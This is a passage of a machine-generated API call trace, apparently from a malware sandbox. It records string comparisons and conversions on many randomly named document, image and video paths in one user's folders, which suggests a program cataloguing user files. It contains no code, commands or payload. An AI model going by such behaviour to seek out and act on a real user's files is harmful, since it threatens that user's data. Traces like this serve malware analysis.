	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/mw00s7vwop-1eb3celir.jpg") returned -1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/lylre2qkp54wvcja5uiu.png") returned -1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/desktop/7bmjaqaph.flv") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/ea%20zcrgz.pps") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vkn5cs.ods") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/lo%20ag96uqe3kgrd-cv.docx") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/lgnibnewsyc7osqccn4.docx") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/eee6tei2z7n.xlsx") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/appdata/roaming/zpb1tcp9a.odt") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/xvvzhek.ods") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/n3tkpk6thmsmb%20wl.jpg") returned -1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/sf46hua1vlrj5-.bmp") returned -1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/qeubjqgalseq5.bmp") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/dyz_3vm%200t2qzud-5rtt.bmp") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/pictures/gjve.gif") returned 1
	[0098.852] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/ji7rr1qgoiwn_znelp.gif", _String2="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/u360djmkgzvgd5cdm.odp") returned 1
	[0098.853] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/6Yy1YkJSM6.odt" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt"
	[0098.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/6yy1ykjsm6.odt") returned 57
	[0098.853] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/XpSzO2H.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv"
	[0098.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/xpszo2h.mkv") returned 60
	[0098.853] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/bqduLa%20bcGgkVPVfhu/IBCczXULcE5FcBA-jQAa.bmp" | out: _Str="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp"
	[0098.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/bqdula%20bcggkvpvfhu/ibcczxulce5fcba-jqaa.bmp") returned 80
	[0098.853] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/prneXR%20mfYlj1T2oH.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx"
	[0098.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/prnexr%20mfylj1t2oh.pptx") returned 117
	[0098.853] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/vAuKXB2bJUYJX-GAJ.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv"
	[0098.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/vaukxb2bjuyjx-gaj.mkv") returned 64
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/Amp_KB-VbR2dHX15M.docx" | out: _Str="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/amp_kb-vbr2dhx15m.docx") returned 59
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/aXLrt.csv" | out: _Str="file:///c:/users/aetadzjz/documents/axlrt.csv") returned="file:///c:/users/aetadzjz/documents/axlrt.csv"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/axlrt.csv") returned 46
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/PBp%20_rThBGpSCKeS8goz.flv" | out: _Str="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/pbp%20_rthbgpsckes8goz.flv") returned 60
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/0B7hRZ8fr.odt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0b7hrz8fr.odt") returned 111
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/5a8ZeskP_E.docx" | out: _Str="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/5a8zeskp_e.docx") returned 52
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/VYh55pNVZAP9s4UxOcwe/rqAE_GcqGo/oF4iDAer6R29BLd.doc" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc"
	[0098.854] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/vyh55pnvzap9s4uxocwe/rqae_gcqgo/of4idaer6r29bld.doc") returned 112
	[0098.854] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/aRIEOMV7R.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/arieomv7r.bmp") returned 75
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/hk3cbszZ.flv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/hk3cbszz.flv") returned 71
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/8D7-G4x_lgzHUEe.flv" | out: _Str="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/8d7-g4x_lgzhuee.flv") returned 53
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/TFSYWj%206WOkL.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/tfsywj%206wokl.doc") returned 53
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/VHI25HUJIBCzP2MVNbex.png" | out: _Str="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/vhi25hujibczp2mvnbex.png") returned 59
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/Ld3F.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/ld3f.pptx") returned 76
	[0098.855] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/C7UMTYR5UW74SWGh.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png"
	[0098.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/c7umtyr5uw74swgh.png") returned 109
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/pu9myBzfyCy.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp"
	[0098.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/pu9mybzfycy.bmp") returned 104
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/mmaHI-g_FUfFb.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif"
	[0098.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/mmahi-g_fuffb.gif") returned 106
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Videos/I1YTzNPetDF2Y4/WSrq1GRAB/VYu23pd0P.mkv" | out: _Str="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv"
	[0098.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/videos/i1ytznpetdf2y4/wsrq1grab/vyu23pd0p.mkv") returned 72
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/vR0Ab02UJIdXw.pdf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf"
	[0098.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/vr0ab02ujidxw.pdf") returned 73
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/jT2b9Xgk.pptx" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx"
	[0098.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/jt2b9xgk.pptx") returned 111
	[0098.856] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/fc88IUVgWEJ3y_pIRp.ppt" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt"
	[0098.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/fc88iuvgwej3y_pirp.ppt") returned 89
	[0098.857] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/bEvjyszQr-.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif"
	[0098.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/bevjyszqr-.gif") returned 57
	[0098.857] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/iy%20RcUc.mkv" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv"
	[0098.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/iy%20rcuc.mkv") returned 56
	[0098.857] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/U2yq_R2-__yDUw0/shhSKBDp1M-xnK_4%20J/0WIVBf.csv" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv"
	[0098.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/u2yq_r2-__yduw0/shhskbdp1m-xnk_4%20j/0wivbf.csv") returned 108
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Documents/gYHbo8mLvJEHmfxj6N/C5Zd/F8OP7/DwdQwqIkYamUdulD%20jx.rtf" | out: _Str="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/documents/gyhbo8mlvjehmfxj6n/c5zd/f8op7/dwdqwqikyamuduld%20jx.rtf") returned 92
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/khUIwj64lMGtzh.jpg" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/khuiwj64lmgtzh.jpg") returned 61
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/M8jaWqgwNFk3r.pdf" | out: _Str="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/m8jawqgwnfk3r.pdf") returned 52
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/M0PUcZV9MVtq89/SrrtiG0h57md7foq.png" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/m0puczv9mvtq89/srrtig0h57md7foq.png") returned 85
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/TdluNwYUz0yLl/hD3QCeWmjb7/kIR0UbaNEdL/lMkJs1L6jBr9C9/OFu_JX%20YuimDKwMU_vEk.bmp" | out: _Str="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/tdlunwyuz0yll/hd3qcewmjb7/kir0ubanedl/lmkjs1l6jbr9c9/ofu_jx%20yuimdkwmu_vek.bmp") returned 115
	[0098.858] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Desktop/LJU8CB2RAn_HV.doc" | out: _Str="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc"
	[0098.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/desktop/lju8cb2ran_hv.doc") returned 52
	[0098.859] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/Pictures/5RQeP7-Vx1yGVh94.gif" | out: _Str="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif"
	[0098.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/pictures/5rqep7-vx1ygvh94.gif") returned 56
	[0098.859] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/ND14d.gif" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif"
	[0098.859] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x187992, cbMultiByte=-1, lpWideCharStr=0x183718, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/nd14d.gif") returned 52
